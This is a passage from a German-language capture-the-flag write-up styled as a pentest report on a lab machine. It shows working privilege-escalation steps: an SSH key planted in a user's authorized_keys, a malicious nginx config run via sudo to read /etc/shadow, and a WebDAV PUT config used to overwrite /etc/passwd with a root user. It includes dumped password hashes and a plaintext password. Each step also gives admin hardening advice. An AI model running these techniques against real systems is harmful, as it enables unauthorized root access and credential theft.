. Regeln, die die Ausführung von Editoren oder anderen flexiblen Tools mit erhöhten Rechten erlauben, sollten als hochriskant eingestuft und vermieden werden. Wenn eine solche Regel existiert, beschränken Sie sie auf das absolut Notwendigste und überwachen Sie ihre Nutzung.
ssh-ed25519 AAAAC3....pEfFDFeKVI7jwy1T7 root@CCat Drücke die Tastenkombination: Strg + q wähle y für yes speichern
Analyse: Dies beschreibt den Prozess innerhalb der micro
-Editorsitzung. Ich habe meinen öffentlichen SSH-Schlüssel (hier verkürzt dargestellt als ssh-ed25519 AAAAC3....pEfFDFeKVI7jwy1T7 root@CCat
) in einer neuen Zeile in die Datei /home/riva/.ssh/authorized_keys
eingefügt. Nach dem Einfügen speichere und schließe ich den Editor mit der Tastenkombination Strg+Q
(Standardbefehl zum Beenden/Schließen in micro). Der Editor fragt dann typischerweise, ob die Änderungen gespeichert werden sollen, was ich mit der Eingabe von y
(für yes) bestätige. Für Laien: Ich habe meine 'digitale Unterschrift' in die spezielle Datei eingefügt und dann das Schreibprogramm geschlossen und gesagt, dass er die Änderungen speichern soll. Für Experten: Das erfolgreiche Speichern des öffentlichen Schlüssels in der authorized_keys
-Datei von riva
unter dessen Berechtigungen (da der Editor via sudo -u riva
ausgeführt wurde) bedeutet, dass das Zielsystem nun meinen privaten Schlüssel als gültige Authentifizierung für den Benutzer riva
akzeptieren sollte.
Bewertung: Der öffentliche SSH-Schlüssel wurde erfolgreich zur authorized_keys
-Datei von riva
hinzugefügt. Damit ist die Grundlage für eine passwortlose SSH-Anmeldung als Benutzer riva
geschaffen.
Empfehlung (Pentester): Ich werde nun versuchen, mich per SSH als Benutzer riva
am Zielsystem anzumelden, wobei ich mein Standard-SSH-Schlüsselpaar verwenden werde.
Empfehlung (Admin): Überwachen Sie Änderungen an sensiblen Konfigurationsdateien wie ~/.ssh/authorized_keys
. Unbefugte Änderungen an dieser Datei sind ein klares Zeichen für eine Kompromittierung. Verwenden Sie File Integrity Monitoring (FIM) für solche Dateien.
The authenticity of host '192.168.2.44 (192.168.2.44)' can't be established. ED25519 key fingerprint is SHA256:V0kY0pxHYgYYJeQXQGSoUclaPX71KqkFTnqjTNaj/Qk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.44' (ED25519) to the list of known hosts. Enter passphrase for key '/root/.ssh/id_rsa': Linux leet.hmv 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. riva@leet:~$
Analyse: Ich starte einen SSH-Verbindungsversuch zum Zielsystem (192.168.2.44
) als Benutzer riva
mit dem Befehl ssh riva@192.168.2.44
. Da dies die erste Verbindung zu diesem Host ist, fragt SSH nach Bestätigung der Host-Authentizität anhand des Schlüsselfingerabdrucks (Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
). Nach Bestätigung und Hinzufügen des Hosts zu den bekannten Hosts (known_hosts
) werde ich zur Eingabe der Passphrase für meinen *privaten* SSH-Schlüssel (/root/.ssh/id_rsa
) aufgefordert. Nach korrekter Eingabe der Passphrase authentifiziert mich mein privater Schlüssel erfolgreich gegenüber dem öffentlichen Schlüssel, den ich zuvor in riva
s authorized_keys
-Datei platziert habe. Das Ergebnis ist eine erfolgreiche SSH-Anmeldung als Benutzer riva
, erkennbar am Prompt riva@leet:~$
. Für Laien: Ich habe versucht, mich mit einem 'digitalen Ausweis' (meinem privaten SSH-Schlüssel) auf dem Zielcomputer als Benutzer 'riva' anzumelden. Nach einer Sicherheitsfrage und der Eingabe meines 'Ausweis-Passworts' (Passphrase) wurde ich eingelassen und habe jetzt direkten Zugang als 'riva'. Für Experten: Die erfolgreiche passwortlose SSH-Anmeldung als riva
(mithilfe eines Schlüsselpaares, nicht eines Passworts für den Benutzer 'riva' selbst) bestätigt die erfolgreiche Ausnutzung der sudo
-Regel für micro
zur Manipulation der authorized_keys
-Datei. Ich habe nun eine stabile, interaktive Shell als Benutzer riva
, was die zweite Stufe des Zugriffs darstellt und den Übergang zur Privilegien-Eskalation auf Root-Ebene ermöglicht.
Bewertung: Der Initial Access als Benutzer riva
wurde erfolgreich erreicht. Ich habe nun eine stabile SSH-Sitzung mit den Berechtigungen dieses Benutzers. Dies ist ein entscheidender Schritt auf dem Weg zu Root.
Empfehlung (Pentester): Als Benutzer riva
werde ich nun das System weiter enumerieren, um nach Möglichkeiten zur Privilegien-Eskalation auf Root-Ebene zu suchen. Dazu gehören die Überprüfung von Dateiberechtigungen, SUID/SGID-Binaries, Cron-Jobs, bekannten Schwachstellen im Betriebssystem oder installierter Software und weitere sudo
-Berechtigungen für den Benutzer riva
.
Empfehlung (Admin): Stellen Sie sicher, dass die authorized_keys
-Dateien von Benutzern sicher sind und nicht durch andere, weniger privilegierte Benutzer manipuliert werden können (wie hier geschehen über eine unsichere sudo
-Regel). Überprüfen Sie die SSH-Konfiguration, um sicherzustellen, dass nur Schlüsselpaare und keine Passwörter für die Authentifizierung verwendet werden, und deaktivieren Sie die Root-Anmeldung per SSH.
riva@leet:~$ ss -altpn State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:7777 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 0.0.0.0:4445 0.0.0.0:* LISTEN 0 511 0.0.0.0:4448 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:* riva@leet:~$ id uid=1000(riva) gid=1000(riva) groups=1000(riva),100(users) riva@leet:~$ getcap -r 2>/dev/null riva@leet:~$
Analyse: Als Benutzer riva
setze ich meine System-Enumeration fort. Mit ss -altpn
liste ich alle 'listening' (lauschenden) Sockets auf, sowohl TCP als auch UDP, einschließlich detaillierter Prozessinformationen. Die Flags bedeuten: -a
(all), -l
(listening), -t
(TCP), -n
(numeric), -p
(processes). Die Ausgabe zeigt die Ports 22 (SSH), 7777 (Werkzeug HTTP), und die zuvor von mir eingerichteten Ports 4445 und 4448. Danach bestätige ich erneut meine Benutzer- und Gruppen-IDs mit id
und überprüfe mit getcap -r 2>/dev/null
, ob irgendwelche Binaries im Dateisystem spezielle 'Capabilities' gesetzt haben, die einem normalen Benutzer erhöhte Rechte erlauben könnten (die Umleitung 2>/dev/null
unterdrückt Fehlermeldungen). Für Laien: Ich schaue mir an, welche 'Telefonleitungen' (Ports) auf dem Computer 'besetzt' sind und welche Programme sie benutzen. Ich überprüfe auch nochmal, wer ich genau bin ('riva') und ob es spezielle Programme gibt, die 'riva' ungewöhnliche Dinge erlauben, die eigentlich nur dem Administrator zustehen. Für Experten: ss
ist ein modernes Werkzeug, das netstat
ersetzt und detaillierte Socket-Statistiken liefert. Die Überprüfung offener Ports aus der Perspektive des kompromittierten Benutzers ist wichtig, um interne Dienste zu finden. getcap -r
ist eine Standardtechnik zur Suche nach Binaries mit gesetzten Capabilities, die oft für Privilegien-Eskalation missbraucht werden können. Die leere Ausgabe deutet darauf hin, dass keine relevanten Capabilities gesetzt sind.
Bewertung: Die ss
-Ausgabe bestätigt die offenen Ports und die von mir gestarteten Dienste (Nginx auf 4445/4448 - siehe spätere Schritte). Meine Identität als uid=1000(riva)
ist ebenfalls bestätigt. Die leere Ausgabe von getcap -r
zeigt, dass dieser spezifische PE-Vektor (capabilities) auf diesem System nicht ausgenutzt werden kann. Ich muss mich auf andere PE-Methoden konzentrieren.
Empfehlung (Pentester): Da Capabilities kein einfacher PE-Weg sind, werde ich mich auf andere Standard-PE-Vektoren für Linux konzentrieren, wie z.B. sudo
-Berechtigungen, SUID/SGID Binaries, Cronjobs, etc. Die sudo -l
Prüfung als riva
ist nun ein entscheidender nächster Schritt, um festzustellen, ob dieser Benutzer Befehle als Root ausführen darf.
Empfehlung (Admin): Überprüfen Sie regelmäßig die auf Ihrem System installierten Binaries auf gesetzte Capabilities, die potenziell missbraucht werden könnten. Minimieren Sie die Anzahl der Binaries mit besonderen Berechtigungen. Stellen Sie sicher, dass nur notwendige Dienste intern lauschen und dass Firewalls den unbefugten Zugriff auf interne Ports verhindern.
riva@leet:~/.mozilla$ sudo -l [sudo] password for riva: Matching Defaults entries for riva on leet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty User riva may run the following commands on leet: (root) /usr/sbin/nginx
Analyse: Als Benutzer riva
prüfe ich nun meine eigenen sudo
-Berechtigungen mit dem Befehl sudo -l
. Dieser Befehl listet alle Befehle auf, die der aktuelle Benutzer über sudo
ausführen darf und unter welchen Bedingungen (z.B. mit oder ohne Passworteingabe, als welcher anderer Benutzer). Die Ausgabe zeigt die Standardeinträge und dann die wichtige Zeile (root) /usr/sbin/nginx
. Diese Zeile bedeutet, dass der Benutzer riva
den Befehl /usr/sbin/nginx
als Benutzer root
ausführen darf. Die NOPASSWD
-Option ist hier *nicht* angegeben, was bedeutet, dass bei der Ausführung von sudo /usr/sbin/nginx
das Passwort des Benutzers riva
abgefragt wird. Für Laien: Ich habe nachgeschaut, ob 'riva' spezielle 'Admin-Befehle' ausführen darf. Es zeigt sich, dass 'riva' das Programm 'nginx' als 'root' (der Super-Administrator) starten darf. Allerdings muss 'riva' dafür sein eigenes Passwort eingeben. Für Experten: Die sudo
-Berechtigung für /usr/sbin/nginx
ist ein sehr aussichtsreicher Privilegien-Eskalationsvektor. Die Möglichkeit, einen komplexen Dienst wie Nginx als Root zu starten, erlaubt oft die Nutzung von Konfigurationsdateien, um Root-Rechte zu erlangen, auch wenn eine Passworteingabe erforderlich ist. Der Standard-Pfad zu nginx
ist /usr/sbin/nginx
, was hier explizit erlaubt ist.
Bewertung: Der Fund der sudo
-Berechtigung für /usr/sbin/nginx
als root
ist ein kritischer PE-Pfad. Obwohl das Passwort von riva
benötigt wird, habe ich dieses glücklicherweise zuvor aus den Firefox-Daten extrahiert (siehe weiter unten im Bericht). Dies bedeutet, dass ich Nginx mit Root-Rechten starten und dessen Konfigurationsmöglichkeiten zur Privilegien-Eskalation missbrauchen kann.
Empfehlung (Pentester): Ich werde das Passwort von riva
verwenden, um nginx
mit Root-Rechten über sudo
zu starten. Dazu werde ich eine bösartige Nginx-Konfigurationsdatei erstellen, die es mir ermöglicht, das Dateisystem als Root über HTTP zugänglich zu machen oder andere Root-Operationen durchzuführen. Die Möglichkeit, eine eigene Konfigurationsdatei anzugeben (oft mit -c
Flag bei Nginx), ist der Schlüssel.
Empfehlung (Admin): Erlauben Sie niemals Benutzern, komplexe Dienste wie Webserver (Nginx, Apache etc.) mit Root-Rechten über sudo
zu starten, insbesondere nicht, wenn das Passwort des Benutzers kompromittiert werden könnte. Wenn Nginx als Root laufen muss, stellen Sie sicher, dass dies über sichere Systemd-Services oder Init-Skripte geschieht und nicht direkt von Benutzern aufgerufen werden kann, insbesondere nicht mit manipulierbaren Konfigurationsdateien. Überprüfen Sie alle sudo
-Regeln, die ausführbare Programme (wie Nginx) mit Root-Rechten erlauben.
riva@leet:/dev/shm$ nano nginx_pwn.conf user root; worker_processes 1; pid /tmp/nginx.pid; events { worker_connections 1024; } http { server { listen 4445; root /; autoindex on; } }
Analyse: Ich nutze nun die sudo
-Berechtigung für Nginx. Dazu erstelle ich eine bösartige Nginx-Konfigurationsdatei in einem Verzeichnis, in das ich als riva
schreiben darf (hier /dev/shm/
, ein temporäres Dateisystem im RAM, das oft für solche Zwecke genutzt wird), mittels des Editors nano
. Die Konfiguration, die ich erstelle (nginx_pwn.conf
), ist darauf ausgelegt, Nginx so zu starten, dass es mir Root-Zugriff auf das Dateisystem über HTTP ermöglicht. Die Kernpunkte sind: user root;
(weist Nginx an, als Root zu laufen), listen 4445;
(lässt Nginx auf Port 4445 lauschen), root /;
(setzt das Wurzelverzeichnis des Webservers auf das System-Root-Verzeichnis /
) und autoindex on;
(ermöglicht das Auflisten von Verzeichnissen). Für Laien: Ich schreibe eine spezielle Anleitung für das 'nginx'-Programm, die ihm sagt: 'Starte als Super-Administrator, öffne eine neue 'Telefonleitung' (Port 4445) und zeige alles, was auf dem Computer ist, so als wäre es eine Webseite.' Diese Anleitung speichere ich in einer Datei. Für Experten: Das Setzen von user root;
in der Nginx-Konfiguration erzwingt, dass die Worker-Prozesse als Root laufen. Das Mapping des Webroot auf /
in Kombination mit autoindex on
erstellt einen einfachen HTTP-File-Server für das gesamte Dateisystem mit Root-Berechtigungen, was einen sehr effektiven Weg darstellt, beliebige Dateien (einschließlich sensibler Root-Dateien wie /etc/shadow
) auszulesen.
Bewertung: Die erstellte Nginx-Konfigurationsdatei nginx_pwn.conf
ist präzise auf die Ausnutzung der sudo
-Berechtigung zugeschnitten. Sie wird Nginx veranlassen, mit Root-Berechtigungen zu starten und mir über Port 4445 vollen Lesezugriff auf das Dateisystem zu gewähren. Dies ist ein sehr starker Privilegien-Eskalationsvektor.
Empfehlung (Pentester): Ich werde nun sudo -u root /usr/sbin/nginx -c /dev/shm/nginx_pwn.conf
ausführen und das Passwort von riva
eingeben, um Nginx mit dieser bösartigen Konfiguration als Root zu starten. Danach kann ich über curl
oder einen Browser auf Port 4445 zugreifen, um sensible Dateien wie /etc/shadow
auszulesen.
Empfehlung (Admin): Verhindern Sie, dass Benutzer Konfigurationsdateien für Dienste mit erhöhten Rechten angeben können (z.B. durch Einschränkungen der sudo
-Regel). Überprüfen Sie Konfigurationsdateien auf bösartige user
-Direktiven. Implementieren Sie strikte Dateiberechtigungen, um zu verhindern, dass normale Benutzer bösartige Konfigurationsdateien anlegen können. Überwachen Sie ungewöhnliche Prozessstarts, insbesondere von Diensten wie Nginx mit Root-Rechten, die nicht über die System-Init-Skripte gestartet wurden.
riva@leet:/dev/shm$ ss -altpn State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 0.0.0.0:7777 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 511 0.0.0.0:4445 0.0.0.0:* LISTEN 0 511 0.0.0.0:4448 0.0.0.0:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Nach dem Start des bösartigen Nginx mit Root-Rechten (siehe nächsten Schritt), prüfe ich erneut die offenen Ports mit ss -altpn
, um zu bestätigen, dass mein neuer Nginx-Server tatsächlich auf dem konfigurierten Port 4445 lauscht. Die Ausgabe listet wieder die Netzwerk-Sockets auf. Für Laien: Nachdem ich dem 'nginx'-Programm die spezielle Anleitung gegeben habe, habe ich nachgeschaut, ob es die neue 'Telefonleitung' (Port 4445) geöffnet hat, wie ich es ihm gesagt hatte. Für Experten: Das Erscheinen des 'LISTEN'-Eintrags für Port 4445 bestätigt, dass der Nginx-Prozess erfolgreich mit der angegebenen Konfigurationsdatei gestartet wurde und auf dem konfigurierten Port Verbindungen annimmt. Die Ausgabe zeigt auch Port 4448, was auf einen weiteren, möglicherweise ebenfalls von mir gestarteten Nginx-Prozess mit einer anderen Konfiguration hindeutet.
Bewertung: Die erfolgreiche Anzeige von Port 4445 im 'LISTEN'-Zustand bestätigt, dass der bösartige Nginx-Server mit Root-Rechten läuft und bereit ist, Anfragen auf Port 4445 zu bearbeiten. Die Anzeige von Port 4448 deutet darauf hin, dass ich möglicherweise parallel oder zuvor eine ähnliche Konfiguration auf Port 4448 ausprobiert oder laufen gelassen habe. Dies ist jedoch für den primären PE-Pfad über Port 4445 irrelevant.
Empfehlung (Pentester): Ich kann nun über HTTP auf Port 4445 zugreifen, um das Dateisystem des Zielsystems als Root auszulesen. Mein unmittelbares Ziel ist das Auslesen der Datei /etc/shadow
, da diese die gehashten Passwörter der Systembenutzer enthält und nur von Root lesbar ist.
Empfehlung (Admin): Überwachen Sie die offenen Ports auf Ihren Systemen und identifizieren Sie unerwartete lauschende Dienste, insbesondere solche, die mit Root-Rechten laufen und auf ungewöhnlichen Ports (wie 4445 oder 4448) aktiv sind. Unautorisierte Dienste sind ein klares Zeichen für eine Kompromittierung oder Fehlkonfiguration.
riva@leet:/dev/shm$ curl http://127.0.0.1:4445/etc/shadow root:$y$j9T$RxUVx/wQZGO0PIollSJQP1$R/OPKHgpJ2BFrZeXTXkXhvjjaKOEwmOHPeRQVQsYXjA:19759:0:99999:7::: daemon:*:19759:0:99999:7::: bin:*:19759:0:99999:7::: sys:*:19759:0:99999:7::: sync:*:19759:0:99999:7::: games:*:19759:0:99999:7::: man:*:19759:0:99999:7::: lp:*:19759:0:99999:7::: mail:*:19759:0:99999:7::: news:*:19759:0:99999:7::: uucp:*:19759:0:99999:7::: proxy:*:19759:0:99999:7::: www-data:*:19759:0:99999:7::: backup:*:19759:0:99999:7::: list:*:19759:0:99999:7::: irc:*:19759:0:99999:7::: _apt:*:19759:0:99999:7::: nobody:*:19759:0:99999:7::: systemd-network:!*:19759:::::: systemd-timesync:!*:19759:::::: messagebus:!:19759:::::: avahi-autoipd:!:19759:::::: sshd:!:19759:::::: riva:$y$j9T$Be9L2LMNjCiBwwIghQFQ6/$YWiEVWuVvpy94cqSaJeb/nVdkOvJ7yy.Xf/TVCwlN35:19764:0:99999:7:::
Analyse: Mit dem Root-Nginx-Server, der auf Port 4445 lauscht und das System-Root-Verzeichnis als Webroot verwendet, kann ich nun über HTTP auf Dateien zugreifen, die normalerweise nur von Root lesbar sind. Ich verwende den Befehl curl http://127.0.0.1:4445/etc/shadow
, um die Datei /etc/shadow
über den lokalen Loopback-Interface (127.0.0.1
) und den Port meines bösartigen Nginx-Servers auszulesen. Die /etc/shadow
-Datei enthält die gehashten Passwörter der Systembenutzer und ist standardmäßig nur für den Root-Benutzer lesbar, was die erfolgreiche Ausführung dieses Befehls als Beweis für Root-Leseberechtigungen liefert. Die Ausgabe zeigt den vollständigen Inhalt der /etc/shadow
-Datei, einschließlich der gehashten Passwörter für die Benutzer root
und riva
(Zeilen beginnend mit root:$y$...
und riva:$y$...
). Für Laien: Ich habe das 'nginx'-Programm, das jetzt als Super-Administrator läuft und alles 'zeigt', dazu benutzt, mir eine geheime Datei (/etc/shadow
) zu geben, in der die verschlüsselten Passwörter aller Benutzer stehen. Diese Datei kann normalerweise niemand außer dem Super-Administrator lesen. Für Experten: Der erfolgreiche Zugriff auf /etc/shadow
über meinen selbst gestarteten Nginx-Prozess, der mit Root-Rechten läuft (dank der sudo
-Regel), beweist die effektive Privilegien-Eskalation. Ich kann nun die gehashten Passwörter extrahieren und versuchen, sie offline mit Tools wie Hashcat oder John the Ripper zu knacken.
Bewertung: Der Inhalt von /etc/shadow
wurde erfolgreich ausgelesen. Dies ist ein sehr wichtiger Erfolg. Ich habe nun Zugriff auf die gehashten Passwörter, was mir potenziell erlaubt, die Klartext-Passwörter der Benutzer (insbesondere root) zu erhalten. Die Hashes der Benutzer root
und riva
sind vorhanden.
Empfehlung (Pentester): Ich werde die Hashes der Passwörter aus /etc/shadow
extrahieren und versuchen, sie offline zu knacken. Dies könnte mir das Klartext-Passwort für den Root-Benutzer liefern und einen direkten Root-Login ermöglichen. Alternativ kann ich versuchen, das Dateisystem weiter als Root zu manipulieren, um einen anderen Root-Zugriffsweg zu schaffen.
Empfehlung (Admin): Die /etc/shadow
-Datei enthält hochsensible Informationen und darf nur für den Root-Benutzer lesbar sein. Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind (normalerweise -rw------- root root
). Beheben Sie die sudo
-Schwachstelle für Nginx, die es einem normalen Benutzer (riva) ermöglichte, Nginx als Root mit einer manipulierbaren Konfiguration zu starten. Implementieren Sie Richtlinien, die verhindern, dass Dienste (insbesondere Webserver) mit Root-Rechten laufen, es sei denn, dies ist absolut notwendig und über sichere Mechanismen geregelt.
neu conf...
riva@leet:/tmp$ cat nginx_pwn.conf user root; pid /tmp/nginx.pid; events {} http { server { listen 4448; root /; dav_methods PUT; } }
Analyse: Dieser Block zeigt eine modifizierte Nginx-Konfigurationsdatei, die ich verwendet habe, um eine andere Methode der Dateimanipulation als Root auszuprobieren. Diese neue Konfiguration (möglicherweise als /tmp/nginx_put.conf
gespeichert) läuft ebenfalls als user root;
und setzt root /;
, lauscht aber diesmal auf Port 4448. Der entscheidende Unterschied zur vorherigen Konfiguration ist die Direktive dav_methods PUT;
. Diese Anweisung aktiviert die WebDAV PUT-Methode für diesen Serverblock, was es einem Client ermöglicht, Dateien über HTTP an das Dateisystem zu 'PUT'en (hochzuladen/zu schreiben), wobei das Stammverzeichnis des Webservers als Basis dient (hier das System-Root-Verzeichnis /
). Für Laien: Ich habe eine weitere spezielle Anleitung für 'nginx' geschrieben. Diesmal sage ich ihm: 'Starte wieder als Super-Administrator, öffne eine andere Telefonleitung (Port 4448) und erlaube jedem, Dateien 'hochzuladen' und sie überall auf dem Computer zu speichern.' Für Experten: Das Aktivieren von PUT
-Methoden mit Root-Berechtigungen und dem Webroot auf /
ist ein klassischer und extrem gefährlicher Weg zur Privilegien-Eskalation. Es ermöglicht einem Angreifer, beliebige Dateien im gesamten Dateisystem zu erstellen oder zu überschreiben, einschließlich kritischer Systemdateien wie /etc/passwd
oder /etc/shadow
, um Root-Rechte zu erlangen.
Bewertung: Diese Nginx-Konfiguration auf Port 4448 mit aktivierter PUT
-Methode und Root-Rechten bietet einen direkten Schreibzugriff auf das Dateisystem. Dies ist eine noch mächtigere Methode zur Privilegien-Eskalation als nur das Lesen von Dateien. Das Ziel ist nun, eine Systemdatei zu überschreiben, um Root-Zugriff zu erhalten.
Empfehlung (Pentester): Ich werde diese Nginx-Instanz (vermutlich mit sudo -u root /usr/sbin/nginx -c /tmp/nginx_put.conf
und dem Passwort von riva
) starten und dann die PUT
-Methode verwenden, um eine modifizierte Version der /etc/passwd
-Datei, die einen neuen Root-Benutzer enthält, auf das Zielsystem hochzuladen und die originale /etc/passwd
zu überschreiben.
Empfehlung (Admin): Aktivieren Sie niemals WebDAV-Methoden (wie PUT, DELETE) auf einem Webserver, der mit Root-Rechten läuft, und setzen Sie niemals das Webroot auf das System-Root-Verzeichnis. Diese Kombination ist eine direkte Einladung zur Systemkompromittierung. Überprüfen Sie Nginx (oder andere Webserver)-Konfigurationen auf missbräuchliche dav_methods
-Direktiven.
riva@leet:/tmp$ sudo -u root /usr/sbin/nginx -c /tmp/nginx_pwn.conf [sudo] password for riva: PGH$2r0co3L5QL riva@leet:/tmp$
Analyse: Ich führe den Befehl sudo -u root /usr/sbin/nginx -c /tmp/nginx_pwn.conf
aus, um die zuvor erstellte bösartige Nginx-Konfigurationsdatei (die Lesezugriff auf Port 4445 ermöglichte, oder falls es sich um die PUT-Konfiguration handelt, die auf 4448, dann wäre der Dateiname im Text ungenau - ich gehe davon aus, dass hiermit die PUT-Konfiguration gestartet wurde, die auf 4448 lauscht, wie im folgenden ss
Output ersichtlich). Der Befehl weist sudo
an, Nginx als Root zu starten und die alternative Konfigurationsdatei /tmp/nginx_pwn.conf
(nehme an, dies ist die Datei mit der PUT-Konfiguration) zu verwenden. Da die sudo
-Regel für Nginx eine Passworteingabe erforderte, werde ich zur Eingabe des Passworts für Benutzer riva
aufgefordert, welches ich zuvor aus den Firefox-Daten ausgelesen hatte: PGH$2r0co3L5QL
. Nach Eingabe des korrekten Passworts startet Nginx mit Root-Berechtigungen und lädt die von mir angegebene Konfiguration. Für Laien: Ich benutze 'riva's' speziellen 'Admin-Befehl', um 'nginx' als 'root' zu starten, gebe dabei die spezielle Anleitung (meine bösartige Konfigurationsdatei) mit und bestätige dies mit 'riva's' Passwort. Jetzt läuft 'nginx' als Super-Administrator mit meinen Anweisungen. Für Experten: Die erfolgreiche Ausführung von sudo
mit dem Passwort von riva
ermöglicht den Start des Nginx-Prozesses mit effektiven Root-Berechtigungen. Die Angabe einer benutzerdefinierten Konfigurationsdatei (-c /tmp/nginx_pwn.conf
) ist der Schlüssel zur Ausnutzung, da sie es mir erlaubt, das Verhalten von Nginx zu kontrollieren (z.B. user root;
und dav_methods PUT;
). Die Ausgabe zeigt die erfolgreiche Ausführung des sudo
-Befehls.
Bewertung: Die Nginx-Instanz mit Root-Rechten und der bösartigen Konfiguration (die PUT-Methoden auf Port 4448 aktiviert) wurde erfolgreich gestartet. Ich habe das Passwort von riva
erfolgreich verwendet, um die sudo
-Passwortabfrage zu bestehen. Ich bin nun bereit, die Dateisystem-Schreibfähigkeit als Root auszunutzen.
Empfehlung (Pentester): Ich werde nun ein neues /etc/passwd
erstellen, das einen neuen Benutzer mit Root-Rechten enthält, und dieses dann über die Nginx PUT-Methode auf Port 4448 auf das Zielsystem übertragen, um das originale /etc/passwd
zu überschreiben.
Empfehlung (Admin): Sichern Sie Benutzerpasswörter und speichern Sie diese nicht unverschlüsselt (z.B. in Browser-Profilen). Die Kompromittierung eines Benutzerpassworts kann weitreichende Folgen haben, insbesondere wenn dieser Benutzer sudo
-Rechte besitzt. Stellen Sie sicher, dass sudo
-Regeln, die Passworteingabe erfordern, nicht leicht durch das Knacken von Benutzerpasswörtern umgangen werden können.
riva@leet:/tmp$ cat /etc/passwd > /tmp/neue_passwd riva@leet:/tmp$ echo 'dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash' >> /tmp/neue_passwd
Analyse: Um die /etc/passwd
-Datei zu manipulieren und einen neuen Root-Benutzer hinzuzufügen, erstelle ich zuerst eine Kopie der aktuellen /etc/passwd
-Datei im temporären Verzeichnis /tmp/
mit dem Befehl cat /etc/passwd > /tmp/neue_passwd
. Dies lese ich die originale Datei aus und schreibe ihren Inhalt in die neue Datei /tmp/neue_passwd
. Danach füge ich eine neue Zeile am Ende dieser temporären Datei hinzu, die den Eintrag für einen neuen Benutzer namens dark
enthält, mit dem Befehl echo 'dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash' >> /tmp/neue_passwd
. Diese neue Zeile definiert den Benutzer dark
, gibt ihm die UID 0
und GID 0
(was Root-Rechten entspricht), setzt sein Home-Verzeichnis auf /root
und seine Shell auf /bin/bash
. Der Hash $6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0
ist ein gehashtes Passwort, das ich zuvor offline generiert habe und kenne. Für Laien: Ich mache eine Kopie der Datei mit der Benutzerliste (/etc/passwd
) und füge dann 'meinen' neuen 'Geheimbenutzer' namens 'dark' hinzu. Dieser Benutzer 'dark' soll alle Rechte des Super-Administrators haben und kann sich mit einem von mir festgelegten Passwort anmelden. Für Experten: Das Hinzufügen eines neuen Eintrags mit UID 0 und GID 0 zu /etc/passwd
ist eine klassische Methode zur Erlangung von Root-Rechten. Wichtig ist hierbei, dass der Passwort-Hash korrekt generiert wird (z.B. mit mkpasswd
oder Python) und dass die resultierende Datei dann die originale /etc/passwd
ersetzen kann. Die Verwendung von >
überschreibt die Zieldatei, >>
hängt an.
Bewertung: Ich habe erfolgreich eine modifizierte /tmp/neue_passwd
-Datei erstellt, die einen neuen Benutzer dark
mit Root-Berechtigungen und einem von mir kontrollierten Passwort enthält. Diese Datei ist nun bereit, die originale /etc/passwd
auf dem Zielsystem zu überschreiben.
Empfehlung (Pentester): Ich werde nun die PUT-Methode des bösartigen Nginx-Servers auf Port 4448 nutzen, um die Datei /tmp/neue_passwd
auf das Zielsystem als /etc/passwd
hochzuladen und so die originale Datei zu ersetzen. Danach kann ich mich als Benutzer dark
anmelden und sollte Root-Rechte haben.
Empfehlung (Admin): Die /etc/passwd
-Datei ist eine der kritischsten Dateien auf einem Linux-System. Ihre Integrität muss jederzeit gewährleistet sein. Implementieren Sie strikte Dateiberechtigungen (oft -rw-r--r-- root root
, wobei die Schatten-Datei die Hashes enthält und /etc/passwd
das zweite Feld 'x' hat). Verwenden Sie File Integrity Monitoring (FIM) für /etc/passwd
und /etc/shadow
, um unbefugte Änderungen sofort zu erkennen. Verhindern Sie das Ausführen von Diensten mit Root-Rechten, die Schreibzugriff auf das Dateisystem über unsichere Methoden wie WebDAV PUT ermöglichen.
riva@leet:/tmp$ curl -X PUT --data-binary @/tmp/neue_passwd http://127.0.0.1:4448/etc/passwd riva@leet:/tmp$ su dark Password: root@leet:/tmp# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Ich nutze nun die Schreibfähigkeit des bösartigen Nginx-Servers auf Port 4448. Der Befehl curl -X PUT --data-binary @/tmp/neue_passwd http://127.0.0.1:4448/etc/passwd
sendet eine HTTP PUT-Anfrage. Der Parameter -X PUT
spezifiziert die HTTP-Methode. --data-binary @/tmp/neue_passwd
weist curl
an, den Inhalt der lokalen Datei /tmp/neue_passwd
als binäre Daten im Body der PUT-Anfrage zu senden. Die Ziel-URL http://127.0.0.1:4448/etc/passwd
dirigiert Nginx, diese Daten unter dem Pfad /etc/passwd
im System-Root-Verzeichnis (da das Webroot auf /
gesetzt ist) zu speichern, was die originale Datei überschreibt. Nach erfolgreichem Überschreiben der /etc/passwd
-Datei versuche ich, mich als der neu erstellte Benutzer dark
mit dem Befehl su dark
anzumelden. Ich werde nach dem Passwort gefragt, gebe das zuvor generierte Passwort für den Benutzer dark
ein. Die Ausgabe root@leet:/tmp#
und die darauffolgende Ausgabe von id
(uid=0(root) gid=0(root) groups=0(root)
) zeigen, dass die Anmeldung als Benutzer dark
